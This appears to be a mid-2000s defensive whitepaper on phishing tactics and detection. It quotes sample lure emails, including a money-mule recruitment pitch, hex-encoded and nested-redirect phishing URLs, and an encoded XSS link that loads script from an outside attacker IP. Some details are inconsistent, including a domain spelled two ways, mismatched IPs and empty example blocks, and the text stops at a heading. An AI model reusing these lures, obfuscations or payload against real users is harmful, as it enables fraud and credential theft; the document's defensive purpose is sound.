Phishing Detection and Prevention

Practical Counter-Fraud Solutions

Tod Beardsley
Introduction
As retail consumers eschew teller lines and physical check writing in favor of banking and paying bills online, criminals have followed their prey from the ATM and the physical mailbox to the home PC and broadband connection.

Phishing is an automated form of identity theft, targeted primarily at the casual e-mail user. As a successful and lucrative form of financial fraud, phishing made its mark on the networked landscape in 2004. Today, it is a booming segment of the identity theft “industry”. In January of 2004, there were 174 phishing Web sites identified by the cross-vendor Anti-Phishing Working Group. By December, there were over 1700. Finally, that year, the reported consumer loss due to Internet-based fraud was estimated between US$500 million (according to the Federal Trade Commission) and US$2 billion (according to the Anti-Phishing Working Group). Financial institutions and law enforcement agencies alike were ill-prepared to deal with organized, technically literate, internationally-based criminals.

This paper will detail the technical aspects of typical phishing campaigns, focusing on the tactics, methodology, and unique features of the phishing e-mail and the phishing Web site. It will outline how automated, inline network-based solutions, built on existing intrusion prevention technology, can be leveraged to assist network defenders protect their constituencies from online fraud.

Practical Counter-Fraud Solutions
When spam emerged as a serious threat to the e-mail infrastructure of the 1990s, traditional solutions of user education, incident reporting, and client-side desktop add-ons proved insufficient as counter-measures. As phishing campaigns and the phisher population multiply at growth rates similar to the spammers of a decade ago, history is repeating itself. User education, incident reporting, and client-side desktop add-ons are the predominant features of most anti-phishing strategies, and are once again proving insufficient.

The research and analyses presented herein are intended to confer upon the reader a sufficient technical knowledge required to implement practical, real-time, automated counter-measures to live, active phishing campaigns.

Drive-By Identity Theft
When asked why he robbed banks, Willie Sutton famously exclaimed, “Because that’s where the money is.” This idea of attacking the central sources of identity information is just as appealing to criminals. The existence and reliance on vast, centralized warehouses of personal information represent attractive targets for large-scale identity theft. The successful compromises of U.S. institutions ChoicePoint and Lexis-Nexis commanded the attention of the public and fueled the national anxiety regarding central points of identity information.

However, just as there are scores of muggers and petty thieves for every bank heisting criminal mastermind, there is a large population of small-time criminals stealing limited sets of personal information with the goal of immediate turn-around profit potential, in addition to large scale organized crime syndicates.
Free Money in Three Easy Steps
Phishing is the practice of luring a very specific set of credentials out of a group of e-mail users. The usernames, passwords, and account numbers for a specific financial institution are the items of interest for the typical phisher. Other identification information, such as Social Security Number, mother’s maiden name (or other secondary password), and home phone number, while useful for other forms of identity theft, are only useful in most phishing campaigns in as much they are required to perform specific transactions at a particular bank.

In order to be successful, a phisher needs to achieve a (short) series of objectives.

The Come-On
The first step is to reach as many possible potential victims in the shortest amount of time with the least amount of effort. The below is a typical e-mail call to action as rendered by Microsoft’s Outlook Express.

In later sections, the structure of various tactics of phishers will be explored. Generally speaking, most phishing e-mail will appear similar in both appearance and structure. Virtually all will have one common feature: a clickable link.
The Catch
A fraction of the potential victim pool, sometimes as much as two to three percent, fulfill the following criteria:

- They are customers of the phisher’s chosen brand (Citibank, PayPal, etc.).
- They become sufficiently convinced the message (and supplied link) is a valid communication from their financial institution.
- Their immediate action is required to prevent a catastrophe (or, rarely, collect a reward).

Once these requirements are met, the attacker must also provide these qualified victims with a credible facsimile of the targeted brand’s login page, such as the (fake) site below:

This login page has many of the features common to phishing Web sites: Images and links taken directly from the targeted brand’s Web site, served in the clear over HTTP (as opposed to HTTPS), and hosted on an IP address (as opposed to a registered domain).
Often, these forms lead to a second page, which collects even more account-relevant information; specifically, account numbers and PINs.

Merely collecting the username and password on the first page would appear to be sufficient enough for the phisher. However, even if a user provided an accurate password, that could change before the phisher has a chance to log in to the newly acquired victim account. In fact, victims often report they realize they have been scammed immediately after providing critical login information.

This secondary page ensures the desired account information is delivered directly to the attacker, without requiring the phisher to log in to the compromised account to collect it. This form accelerates the phishing process to the third step.

**Profit!**

Once account information has been collected, the most straightforward next step would be to log in to the phished account and perform an electronic funds transfer to an account the phisher has more permanent control over (see Money Mules). Some phishers, however, merely act as “identity brokers” for other criminal organizations, and sell off the collected credentials to others.
who perform the actual bank fraud. This both guarantees the phisher will get paid for his effort, and muddies the investigative waters.

Sidebar: Money Mules

Occasionally, a message like the one below is mixed in with the usual phish mail:

Dear Future Employee,
We have received your contact information from employment agency. My name is Karl Jorgensen, project coordinator and your direct supervisor at Odono Inc. Please read the information below about our company and your job description.

Odono Inc. leader in wholesale produce distribution is looking for responsible individuals to be responsible for the areas of shipping operations, customer service, transaction and bank operations.

Current openings: Transaction Manager
You will receive transfers for our company, send/receive funds. You should have your local bank branch locating near you, so you can withdraw money from your account within several hours. You should have home, work or cell phone number (preferably), so we can contact you immediately.

Requirements:
* Be able to check your email several times a day
* Be able to respond to emails immediately
* Be able to work overtime if needed
* Be responsible and hard working

If you are interested in this position and meet the minimum requirements please visit and register here:

http://www.odono.org/jobs.html

Registration is FREE of charge.
Copyright (C) 2005 Odono Inc. All rights reserved.

While this type of e-mail is not phishing per se, it is certainly connected. The aim of establishing control over a bank account is similar, but in this case, it is with the willing participation of an “employee,” of the phisher, known as a money mule.

Transferring stolen money electronically overseas can attract some unwanted attention, especially in light of the U.S. PATRIOT act’s stipulations on conducting overseas financial business. To sidestep this scrutiny, phishers will enlist locals who hold accounts at a targeted bank. When a phishing campaign is successful, the phisher will log in to the victim’s account, and transfer money to one of his money mules, then instruct the mule to withdraw the money, in cash, then either purchase an international money order, or simply mail the cash directly. In return, the mule holds back a portion of the cash (typically 10%).

It’s important to realize the role of the money mule is usually obfuscated; the mule is led to believe he is acting on behalf of an international shipping and payment service, and is merely forwarding along legitimate payments to a legitimate employer.
E-Mail Trust Building Tactics

Due to the phisher’s heavy reliance on e-mail campaigns, phishing is often seen as a subset of the more general spam problem. But unlike spam campaigns, which reach millions, phishing messages tend to be sent to mere tens of thousands of users.

Furthermore, the phishing messages generate a “click through” rate at least an order of magnitude higher than regular spam – estimates between two and five percent are often cited. This speaks to a highly effective formula for gaining a given victim’s trust and compliance which is beyond the abilities of the typical spammer.

Given the typical difference in volume, some popular and useful anti-spam techniques based on traffic analysis are less effective at preventing this stage of the phishing attack. Rejecting messages based on a blacklist of forbidden IP addresses or DNS MX records, for example, is unlikely to be effective, unless the phisher is using a well-known spam relay.

Live traffic sampling and rate-shaping, where the rate of message transmission is measured by the receiving mail gateway, is also unlikely to catch many campaigns in progress. The most common phishing mass-mailing tools are less efficient at sending messages than spam mass-mailers. Phishing mass-mailing tools do not multithread, and do not sort based on destination addresses -- so while typical spam messages tend to arrive very quickly, phishing messages sent by some groups are more sporadic and can “fly under the radar” of such rate-limiting devices.

This section of the paper will catalogue the various strategies employed by phishers, and suggest countermeasures that can be employed by network and mail administrators to help abate the barrage of phishing e-mail.

Modifying and Forging Fields

Critical to the success of phishing e-mail campaigns is the ability to forge e-mail headers. Many phishing messages forge only the From message header. Some more sophisticated groups alter the Received path headers or include “hash busters” in the Subject line.

The From Header

Virtually all phishing e-mail appears, to the casual user, to originate from a trusted organization, thanks to most mail client software’s reliance on the message’s From field to determine a sender. Originators like “Account Services accounts@paypal.com,” “Bankmail bankmail@southtrust.com,” or simply, “Citibank Citibank@citibank.com,” all command immediate attention when seen in a From field.

However, forging a From field is trivially simple, and widely known. The problems of users naturally believing a From field are well known, and forging From: headers have been a common practice since at least 1988. Yet, it continues to serve as the most prominent identifying token of a message.

Even more frustrating, most anti-spam client applications (standalone or integrated into the mail client) offer the option to “whitelist” certain From addresses, which, in effect, allows messages matching the From pattern to bypass the last line of anti-spam defense.
The Received Headers
Every e-mail message carries with it the path it took to reach a user's mailbox. A typical path from PayPal to an endpoint server will look like this:

Received: (qmail 48182 invoked from network); 18 May 2005 15:46:48 -0000
by mail.example.com with SMTP; 18 May 2005 15:46:48 -0000
Received: from outbound2.den.paypal.com (216.113.188.112)
    by denweb159.den.paypal.com (Postfix) with SMTP id A9CAC11802C
    for <customer@example.com>; Wed, 18 May 2005 08:46:47 -0700 (PDT)
Received: (qmail 6332 invoked by uid 99); 18 May 2005 15:46:47 -0000

A sample phish e-mail Received path, however, differs slightly:

Received: (qmail 68233 invoked from network); 2 Jun 2005 09:36:47 -0000
Received: from s01060010dcf9b811.vc.shawcable.net (24.81.25.151)
    by mail.example.com with SMTP; 2 Jun 2005 09:36:47 -0000
Received: from paypal.com (smtp1.sc5.paypal.com [64.4.244.74])
    by S01060010dcf9b811.vc.shawcable.net with esmtp
    id ABEFBBB123 for <ageddyn@minitrue.org>; Thu, 02 Jun 2005 09:36:35 -0700

Reading bottom-to-top, both sets of Received headers claim to originate from PayPal’s network. However, the second message appears to take a detour from PayPal (in the U.S.) to a home broadband machine in Canada, then finally to the user’s mail server at mail.example.com (back in the U.S.). While SMTP is designed with store-and-forward capabilities in mind, it’s unlikely this was the optimal route.

The only truly trustworthy Received header is the last hop before a trusted mail server. In this case, mail.example.com is reasonably trusted, so the IP address (but not necessarily domain name!) from Shaw High Speed Internet is probably correct. Since there’s no reason to trust a home-based mail server (which is likely part of a spammer’s bot network of mail relays), any hop prior carries no real authenticity.

Detecting A Forgery
Unfortunately, due to a lack of sound authentication of From fields, there is little a network or mail administrator can do to detect a crafted From address. In order to circumvent hash-based anti-spam measures, phishers have lately taken to randomizing portions of the name and subject of the e-mail message. For example, a phishing message may include random characters, akin to:

From: FakeBank Fraud Department ic1 fraud@fakebank.com
Subject: Fraud Notification e

While the presence of strange spacing and characters alone cannot be used to flag phishing messages, the combination of these hash-busting characters along with particular brand strings (in this case, fakebank.com) gives a strong indication of malicious intent.

Another method of detecting forged mail headers is to compare the timestamps included in Received headers. If the phisher has crafted the Received chain, oftentimes the time zones are blank, or the timestamps are not contiguous. Legitimate financial institutions tend to set the time correctly on mail servers, if only to correlate logging among disparate machines in the infrastructure.
Sidebar: Reverse MX records (RMX)
Given the widespread problem of forged From headers, and the triviality of creating them, several proposals for a “Reverse MX” record have been suggested over the years, specifically to combat spam.

A user’s mail exchanger, upon receiving a message, would perform a DNS lookup for the claimed domain, specifically looking for an RMX record. The RMX would point to the IP address(es) of authorized outbound SMTP servers, which the user’s mail server would compare against the most recent Received header. Messages are then passed only if the Received header and the RMX record match for the From domain.

The notion is sound -- SMTP implementations already rely on DNS for core functionality (namely, the discovery of the MX record for external domains). However, there are several subtle (and not-so-subtle) complexities involved, which have prohibited RMX’s widespread adoption.

While exploring these barriers to entry is beyond the scope of this paper, Mike Rubel’s advocacy of RMX appears compelling, is well-indexed, and addresses the most immediate implementation problems. His Web site can be found at http://www.mikerubel.org/computers/rmx_records/.

To be sure, while detecting and preventing SMTP header forgery would be troublesome for spammers, it would be massively detrimental to the phishing industry. Spammers have the luxury of merely creating their own domain; phishers, who are fundamentally concerned with masquerading as a trusted and well-known institution, would be severely hampered by a strong RMX system.

Image Insertion
In order to circumvent text string-based spam filters, some phishing groups will create messages which display only a binary image (usually a GIF) in an HTML-capable mail client, while supplying a text stream of random words and phrases designed to confuse Bayesian filtering algorithms. For example, the below is a phish mail directed at SouthTrust bank customers:
Dear SouthTrust bank customer,

Technical services of the SouthTrust bank are carrying out a planned software upgrade. We earnestly ask you to visit the following link to start the procedure of confirmation of customers’ data.

https://www.southtrust.com/st/PersonalBanking/custdetailsconfirmation

Please do not answer to this email – follow the instructions given above.

We present our apologies and thank you for co-operating.

Copyright © 2005 SouthTrust. All Rights Reserved.
SouthTrust Bank, Member FDIC.

http://comand.com:280/

While this may appear to be normal HTML-rendered text, a look at the message source reveals:

This is a multi-part message in MIME format.
-----------------------060608080401000901030005
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><p><font face="Arial"><A HREF="https://www.southtrust.com/st/PersonalBanking/custdetailsconfirmation"><map name="rtaiz"><area coords="0, 0, 597, 355" shape="rect" href="http://comand.com:280"></map><img SRC="cid:part1.07060107.05040003@custservice_id_6142187@southtrust.com" border="0" usemap="#rtaiz"></A></a></font></p><p><font color="#FFFFF0">Tennis Warner Bross Alyssa Milano XFL Cheerleaders Metallica </font></p></html>

-----------------------060608080401000901030005
Content-Type: image/gif; name="bergman.GIF"
Content-Transfer-Encoding: base64
Content-ID: <part1.07060107.05040003@custservice_id_6142187@southtrust.com>
Content-Disposition: inline;
filename="bergman.GIF"
This is a classic example of an insertion attack, where a security device (the spam filter) is presented with something different than what a target eventually renders (the text-filled GIF file). Since Bayesian string analysis will only pick up on the text phrases “Alyssa Milano” and “Metallica,” and these phrases are unlikely to be linked strongly with spam or phishing e-mail, a message with these elements is more likely to pass anti-spam tests.

**Detecting Image Insertion**

While it’s very tempting to advocate a position of, “No HTML E-mail is ever allowed,” rendering images and text formatting is, unfortunately, a significant part of an e-mail user’s expected Internet experience. Therefore, mail administrators are forced to be more creative to prevent an image insertion attack. Upon closer inspection, there are several features of this message that ought to differentiate it from “normal” HTML-enabled e-mail messages.

First, there is no plain-text version of the message. All normal e-mail clients provide plain-text alternatives to HTML messages to ensure compatibility with HTML-unaware mail readers, and nearly all *reputable* mass mailers used by financial institutions adhere to the same convention. The original Simple Mail Transfer Protocol specification is entitled, “RFC 822 - Standard for the format of ARPA Internet text messages.” Virtually all implementers take the “text” portion of the standard seriously.

Second, while some (rendered) text is provided, it differs from normal text in two ways. It appears after the embedded image and link. While this may not seem relevant, nearly all non-phish messages (spam and otherwise) start with some sort of text introduction, if only something redundant like “Please see the below image.”

We can also see that the `<FONT>` tag contains a color value of “#FFFFF0,” which is only 15 bytes off of pure white -- making this text effectively invisible. Anti-spam devices already tend to check for text colored exactly white, and flag messages accordingly. This rule could be relaxed to “mostly white,” since human eyes tend to lump all shades of white into one.

Finally, there are no grammatical elements in the text portion of the message to indicate that it is intended for humans. The “message” is merely a string of proper nouns, lacking punctuation and line breaks. Designing a grammar-aware spam filter is undoubtedly a formidable challenge given today’s technology, but it’s an element to consider for future countermeasures.

**Misdirection and Redirection**

Perhaps the most technical creativity in the phishing community today resides in the art of misdirecting users via the format of e-mailed URLs. Several tactics have been observed over 2004 and 2005, and as anti-spam researchers and developers attack one obfuscation technique, new methods emerge.

**Crafted “Automatically Generated” Links**

When displaying messages, most graphical mail clients take the liberty of converting plain-text HTTP links into clickable URLs, without the need for HTML processing. For example, merely writing in e-mail
will cause the recipient’s mail client to render this text as a clickable target. This feature is often leveraged by phishing scams designed to appear to be plain text messages, but are, in fact, rendered HTTP. An example HTML phish mail might include:

```html
<A HREF="http://222.82.252.206/Suntrust/">https://www.suntrust.com/update/</A>
```

In this case, the browser renders the HTML as simply:

```
https://www.suntrust.com/update/
```

which may be a familiar-looking link to the victim, or at the very least, carry some additional trust due to the apparent use of HTTPS. Of course, this is an illusion; the link, regardless of the “https” text, will connect the user to 222.82.252.206 over HTTP.

**Hex-Encoded URLs**

Particular to phishing are hex-encoded URLs. In the interest of compatibility, most mail user agents, Web browsers, and HTTP servers all understand basic hex-encoded character equivalents, so that:

```
```

and

```
http://%32%31%30.%32%31%39%2e%32%34%31%2e%31%32%35/%69%6d%61%67%65%73/paypal/cgi-bin/websrcmd_login.php
```

are functionally equivalent. The main illicit purpose of this encoding is to evade blacklist-based anti-spam filters which do not process hex character encoding (effectively, another insertion attack). It also evades protection mechanisms that prohibit IP addresses as URL destinations, on the assumption that “normal” http links will use more familiar DNS names.

**Overlapping Area Map Tags**

In a prior example, we saw the following HTML:

```html
<A HREF="https://www.southtrust.com/st/PersonalBanking/custdetailsconfirmation"><map name="rtaiz"><area coords="0, 0, 597, 355" shape="rect" href="http://comannd.com:280"></map>
```

This describes two links overlapping the same clickable area in the message. With some mail clients, the outer link, leading to SouthTrust.com, is what is displayed when the victim's mouse pointer hovers over the image (in this case, the entire message), while clicking the link will actually take the victim to port 280 of the machine at “comannd.com.”

It’s mildly interesting to note that recent versions of Microsoft Outlook Express have fixed this behavior. Today, hovering over this HTML displays the <area> link rather than the <a> link. Sadly, the unwary user will still be taken to the inner destination -- in this case, the attacker’s domain of comannd.com.

More surprising is the behavior of a current and patched version of Internet Explorer. The exact same HTML is rendered in the opposite fashion of Outlook Express, and only the outer link is
displayed and followed when clicked. This disagreement over which link takes precedence is a common design pitfall, and is just the sort of ambiguity a phisher is likely to find attractive.

**Open Redirection Services**
A link such as:


takes advantage of the “open” redirection service offered by Google. In phishing, such links are routinely nested several redirects deep in order to hide the true destination of the link from blacklist- and human-based spam/phishing countermeasures. When combined with hex encoding (or other character set encodings), it can become extremely difficult and time-consuming to track these links to the final destination, frustrating reporting and takedown efforts.

**Address Obfuscation Services**
Related to open redirection bugs are the services that provide intentional “address obfuscation” services. There are two types of these services.

The first is the class of URL wrap-protection services such as TinyURL.com¹. These links are dynamically generated to turn long, complicated URLs with several arguments into a line-wrap protected “short” version. Such services are ideal for hiding chained redirects, and may even be more convincing when combined with an intentionally broken link. An example of this use might look like the following message:

¹ Or, its somewhat ridiculous converse, HugeURL.
In this example, the victim is presented a familiar-looking, if cryptic URL, which is designed explicitly to both break in the middle of the line, and generate an HTTP 404 (page not found) error. The hope is the victim will then attempt the TinyURL version of the link, which of course, will resolve "correctly" to the attacker’s site instead.

A related obfuscation service is one of several free Domain Name Service redirectors, such as DynDNS.com and DynIP.com. For a nominal fee (or free for subdomain redirection), these services will resolve IP addresses to chosen DNS names transparently to the user. These services have the added bonus of, as their name implies, dynamically updating records. This can considerably increase the lifespan of a given phishing link, since the attacker is free to move the destination site from IP address to IP address.
Embedded HTML Forms

One relatively uncommon tactic is to remove the need for a user to click links altogether. Outlook Express, in particular, will render perfectly useful HTML-based forms, complete with graphics and text.

The below is an example of this tactic.

![Image of Embedded HTML Form]

Here, we see the attacker has the ability to combine a typical call-to-action to "verify" some unusual account activity, and then immediately steer the user to a form embedded in the body of the message (in this case, a Web site copy of CitiCard's main login site).
Coupled with a mailto: action for the embedded <form>, a phisher using this tactic has effectively removed the usual requirement of a live Web server to handle victim data.

Detecting Phishy Links
Detecting and blocking messages containing encoding and redirection tricks are fairly straightforward for an inline mail (or mail-aware) device, such as a spam filter or general intrusion prevention device. In fact, it gets easier for automated syntactical analysis machines such as these to detect phish links when the phisher incorporates obfuscation tactics to messages. For instance, “normal” links, like

http://www.ebay.com

are easy to differentiate from abnormal links, like

<area href="http://%77w%77.goo%67le.fr/ur%6c%3fq=http%3a%2f%2f%77%77%2eebay.c%6fm">

The above breaks several possible anti-phishing rules which would be relatively easy to implement, such as:

- No hex-encoded printable ASCII characters in domain names
- No HTTP link containing “http” more than once
- No nested <A> and <AREA> links

More difficult to combat are the address obfuscation services (mentioned earlier). By their nature, they are common and popular among casual e-mail users and are not yet associated strongly with phishing, therefore should not necessarily be suspected as malicious.

However, a process for matching and blocking messages that contain a From header of known financial institutions and which also contain a URL indicating one of these services may be sufficient protection at a network or mail administrator level.

Sidebar: Monitoring Backscatter
One of the most useful aspects of a phishing campaign (from the attacker’s perspective) is the fact they side step the targeted brand entirely, and strike directly at that brand’s customers. In most cases, the phisher is wholly unconcerned with a bank’s fancy and expensive firewalls, Web application security audits, and process controls.

Despite this, a victim financial institution often has indirect visibility into a live phishing campaign, in the form of “spam backscatter”

A fraction of a phishing campaign’s target e-mail address population is guaranteed to automatically reply to the apparent From: address. These automatic replies of undeliverable mail notifications are known as backscatter. Usually, these SMTP bounces are intended to inform senders about missing or deactivated addresses. If a phisher is unlucky enough to run into a block of addresses that generate “denied due to possible spam”-style SMTP replies, these too will typically be addressed to the apparent From address (such as the financial institution victim).

By monitoring this backscatter and applying Bayesian content analysis, a financial institution has the capacity to be alerted to phishing campaigns in progress. Because phishing campaigns tend to be “live” for a day or two at most, this early warning can expedite the takedown actions
against the phisher’s SMTP infrastructure, generate automated anti-phishing warnings to customers, and alert a loss prevention department to an increased risk for criminal transactions.

**Web Site Trust Building Tactics**

Once a user is convinced an e-mail message is valid and clicks the link, he is extremely likely to believe the delivered Web pages to be authentic, regardless of his prior security awareness training. Phishers appear to know this – the work quotient in terms of obfuscation and preparation of a phishing campaign decreases in the shape of a funnel, with a fair amount of variation and creativity going into the e-mail lures and a more cookie cutter approach on the Web sites.

**The Magic of Copy-Paste**

Most normal Web pages can be saved directly from the Web browser with a simple click on the File | Save As… browser buttons. With minor modifications, this saved page can be displayed in minutes on a freshly compromised host.

Of course, merely mirroring a well-known login site isn’t going to do a phisher a lot of good. He’ll want to modify the forms to point to his own processing scripts, which are commonly written in PHP. These forms, in turn, e-mail the phisher’s anonymous and free e-mail account at Yahoo, Hotmail, or any number of other Web mail services.

**JavaScript Obfuscation**

There is a trend in phishing today to make an attempt at further fooling a victim into believing she is on a trusted page, at say, Netbank. Unmodified, a copied Netbank site will look like this on the phisher’s hosting server:
The location bar, which takes up approximately 2% of the screen height, accounts for virtually all of the indication that a Web site is genuine. This is easily circumvented with a well known JavaScript vulnerability posted on the Bugtraq security mailing list in May of 2004, which uses a floating pop-up frame to change the address bar to the familiar:

![NetBank Account Login - Microsoft Internet Explorer](image)

The ability to produce “chromeless” frames outside the browser window using the window.open javascript function continues to be available to Web developers, but thankfully, are now blocked by recent versions of Internet Explorer’s and Mozilla Firefox’s built-in “pop-up blockers.”. Given this functionality’s overwhelming popularity, we can expect to see this sort of attack fall by the wayside...or can we?
Pop-Up Login Screens

Unfortunately for European retail bank customers, there is a trend in continental online banking sites to employ unsolicited pop-up windows, sometimes to perform basic login and customer tracking functions.

After first installing Windows XP Service Pack 2, customers of this particular European consumer bank were presented with an unfamiliar dialog box, explaining the function of the newly-implemented Information bar (a status bar which is inexplicably presented within the Web site’s display pane). Thus, users are immediately trained to expect pop-up warning dialogs when visiting their bank, especially if the banking occurs in a kiosk setting, such as an Internet café, where the user cannot save pop-up blocker preferences. The natural response is to simply allow pop-ups, or more dramatically, disable pop-up blocking altogether.
This behavioral misstep leads to the following phishing tactic:

The attacker’s site immediately spawns two windows, as shown above:

1. The real Deutshe-bank.de site (which is normally not presented over HTTPS).
2. The attacker’s own chromeless pop-up window, which asks only for an account number, PIN, and the user’s Temporary Authorization Number codes\(^2\).

Thanks to the bank’s own reliance on pop-up windows, this attack is lent extra credence by victims, who are well-trained to expect unsolicited pop-ups.

**Signed, Sealed...Who Cares?**

Tucked into the corner of the browser is the well-known gold lock icon, which, when in the “locked” position, indicates that the site is “SSL Secured.” While users may, from time to time, glance down at the gold lock, it is exceedingly unlikely they will be concerned with this icon when held in the emotional grip of a successful phishing attack.

---

\(^2\) TAN codes are fairly common in Europe. Essentially, they are a list of numeric codes which the bank supplies, each of which acts as a single-purpose PIN for a particular transaction.
It is further unlikely the casual user truly has an understanding of what the SSL lock implies and the limited sort of security it provides:

a) The current Web site’s domain (and possibly this particular Web server), is currently offering a cryptographically valid certificate registered to that domain. Many certificate authorities offer wildcard certificates, which can be shared among several Web servers in the same domain.

b) The certificate is cryptographically signed by a certificate available to the browser -- one of more than 70 available by default, issued by one of over two dozen “root authorities,” few of which are in the U.S., and none of which publish details regarding their own security and authentication procedures.

c) The transmission of the Web page was handled by one of several available cryptographic protocols, some of which are weak by design to allow for third-party eavesdropping (the “export” class of cipher suites fall into this category).

The SSL lock does not indicate the “security” of the site, in terms of:

a) The transmission of data via a `<form>` action; while a Web page may be encrypted, there is no way to tell if a `<form>` action will be encrypted, short of inspecting the source code.

b) The current state of the Web server, Web application, underlying operating system, such as patches, proper configuration, or other software running on the Web server that has access to the decrypted data.

c) The current state of the client browser and underlying operating system.

d) The origin of some dynamic elements of the page; it is possible (and likely) for a Web server to act as a source for content which originates from a domain not mentioned in the certificate.

e) The handling procedures of the trusted certificate such as the storage of the certificate and its associated password on a publicly-available server.

Sidebar: Forged Inline Seals
Some vendors of trusted certificates further muddy the identification waters with a variety of additional security products, such as the Verisign Secured Seal, which is displayed on the institution’s Web site:

![Verisign Secured Seal](image)

This Web site has chosen one or more VeriSign SSL Certificate or online payment solutions to improve the security of e-commerce and other confidential communication.

The same problems as described above accompany these programs, most revolving around user ignorance of the purpose of these “secure seal” programs. In fact, they are worsened, since these seals are often designed to look similar to the gold lock, and in all cases, are much larger than the browser icon.
Clicking on the link pictured above takes the user to a Verisign-produced pop-up, which assures the user the site is, in fact, legitimate and real.

Of course, when an attacker can trivially forge the site name in the location bar, a pop-up like the one shown here does little other than reinforce the notion that the forgery is, in fact, real.

**Site Forgery Detection and Defense**

Web application security best practices, such as the guidelines provided by the National Institution for Standards and Technology and the US CERT (available at [http://www.cert.org/security-improvement/modules/m11.html](http://www.cert.org/security-improvement/modules/m11.html) and [http://www.itl.nist.gov/lab/bulletns/bltndec02.htm](http://www.itl.nist.gov/lab/bulletns/bltndec02.htm)) are written with a standard threat model in mind. In these guides, the purpose of Web site security is to defend against an attacker who is interested in compromising a Web service for the purpose of taking it offline (as in denial of service attacks), gaining access to the underlying operating system, or bypassing access controls to sensitive non-public data.
Phishers are not interested these objectives for the financial institution. Rather, their success is measured by their ability to perform a simple copy and paste function.

Hampering Offsite Image References
While it’s difficult for a site to simultaneously provide public content and prevent that content from being copied, financial institution Web site operators can significantly raise the technical bar phishers must overcome.

For example, an Apache HTTP server administrator can enforce an origin check for image files, using the regular expression pattern matching rules of the mod_rewrite module. For example:

```
RewriteCond %{HTTP_REFERER} {!^$}
RewriteCond %{HTTP_REFERER} {!^http://www.realbank.com/.*$} [NC]
RewriteRule {^.*\.(gif|jpg|png)$} [F]
```

The above rule would prevent an image request which does not originate from the realbank.com domain to return an HTTP 403 Forbidden response, rather than the expected image. Similar ISAPI-based remedies are available for Microsoft’s IIS.

Detecting a Forged Site
As mentioned earlier, the favored site copying software is Microsoft Internet Explorer. While sites may render identically, IE does alter the underlying HTML source, and phishers tend not to fix these subtle differences. For example, the Web page below is a freshly copied site from a well-known bank (note the Location bar, “C:\temp\wf.htm”):

---

3 These techniques are well-understood in the online adult entertainment industry, where bandwidth theft due to cross-site image linking is a perennial problem for site administrators.
The source of this page (along with many similar phishing sites), begins with IE-generated HTML source.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
<!-- saved from url=(0026)http://www.wellsfargo.com/ -->
<HTML lang=en xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE>Wells Fargo Home Page</TITLE>

The first element is a header placed by IE defining the HTML standard. The second is the so-called “The Mark of the Web,” an origin control string first introduced in Windows XP Service Pack 2. The third line begins the original content of the targeted brand -- but missing the original site’s Unix-style line feeds, which IE tends to drop altogether.

Thus, simply by inspecting the <TITLE> tag and the HTML preamble inserted by Internet Explorer, an HTTP-aware filtering device, such as an HTTP proxy, network intrusion prevention system, or client-based browser plug-in, can make a very reasonable supposition that the above site is, in fact, a forgery of the original bank’s site.

Another feature of the suspect Web site is the identification of the hosting Web server. A typical phishing site is delivered via Apache 1.3.x, hosted on Red Hat Linux, and includes support for PHP (this configuration is surprisingly consistent). Most major financial institutions do not share any of these features. Again, when armed with the foreknowledge of what the most popular financial sites are running, ascertaining a forgery becomes trivial for an automated content inspector.

It’s important to stress that the above techniques are useful in detecting and preventing most, but not all, phishing attacks. The next section explores the methodology of the “advanced” phishing attacker.

**Advanced Phishing Techniques**

A small fraction of phishing activity does not conform to the above “copy/paste/spam” phishing methodology. Instead, these more technically advanced phishers occasionally leverage weaknesses in either their target financial institution’s Web services, or through more traditional client-side vulnerability exploitation.

**Cross-Site Scripting Explored**

In the last quarter of 2004, SunTrust, a popular online bank in the United Kingdom, suffered a cross-site scripting (XSS) attack. XSS vulnerabilities allow an attacker to generate links to a Web site which, when clicked, provide active content which appears to originate from the site. In the SunTrust instance, the following link was distributed to the phisher’s spam list:

```
http://www.suntrust.com/onlinestatements/index.asp?AccountVerify=3Ddf4g5343245fdfsGFsg45wgSVFwvf
VFDF54v545F42f543ff5445rv54w&promo=3D%22%3E%3Cscript+language%3Djavascript+src%3D%22http%3A%2F%2F
%3218%2E%3103%2E32%2E138%3A8%3081%2Fsun%2Fsun%2Ejs%22%3E%3C%2FSCRIPT%22
```

Decoded from hex and with the obfuscating padding removed, the above link reads:

```
language=javascript src="http://218.103.23.138:8081/sun/sun.js"></SCRIPT>
```
This would cause the browser to not only download a JavaScript script from the attacker’s site (218.103.23.138), but also to process it in the context of SunTrust’s Online Statements Web application, due to a failure in SunTrust’s application to properly escape quote characters and HTML tags.

Cross-site scripting is a powerful tool for Web site trust building. The attacker’s content is presented to his victims with the correct domain information in the Location bar, and can even take advantage of his target brand’s SSL credentials and trust zone designation. For these reasons, the SunTrust case was widely reported as a sea change in the phishing landscape, and many security researchers came to the conclusion that XSS is the next killer phishing technology.

However, the vast majority of phishing campaigns make no use of these tricks. The reasons are based largely in the practical application of XSS.

To begin with, XSS attacks require XSS vulnerabilities, and these are non-trivial to discover, even for experienced application security auditors and penetration testing experts. This is not to say they do not exist, but they require levels of effort and expertise to properly exploit that are not commonly found in a typical phishing gang.

Furthermore, once an XSS attack is launched, the campaign doesn’t tend to have an effective lifespan that’s any different from a normal attack. In fact, the use of an XSS error can shorten the detection time for a targeted financial institution. Intrusion prevention systems and URL validation software are both able to detect, prevent, and alert on attempted XSS exploits. When a phisher leverages a vulnerability on a bank’s site, he has lost the stealth factor inherent in the more traditional phishing attack.

Finally, XSS vulnerabilities, once discovered and known to the victim organization, tend to be fixed rapidly, which, in turn, destroys the repeatability of a phishing campaign. Bank applications tend to be highly customized and particular to a brand, so a phishing campaign that makes use of an XSS exploit is not only a “one-shot” against a particular brand, but cannot be easily repurposed with another brand’s image.

It should not be construed that phishers are ignorant of cross-site scripting. To the contrary, evidence indicates that XSS is rapidly becoming a favorite method of compromising third-party bulletin board Web sites running known-vulnerable PHP code. In contrast to finance-related sites, these small BBS’s are lightly administered and thus, an XSS compromise may go undetected for weeks. These are attractive features for phishers looking for a more permanent hosting site for their forged login pages.

However, the fear that phishers will descend on bank and credit sites armed with clever XSS tricks is largely overrated. XSS vulnerabilities are much more useful for a careful, coordinated attacker; they are not particularly useful for the volume-driven phishing industry.

**Distributed Phishing Networks**

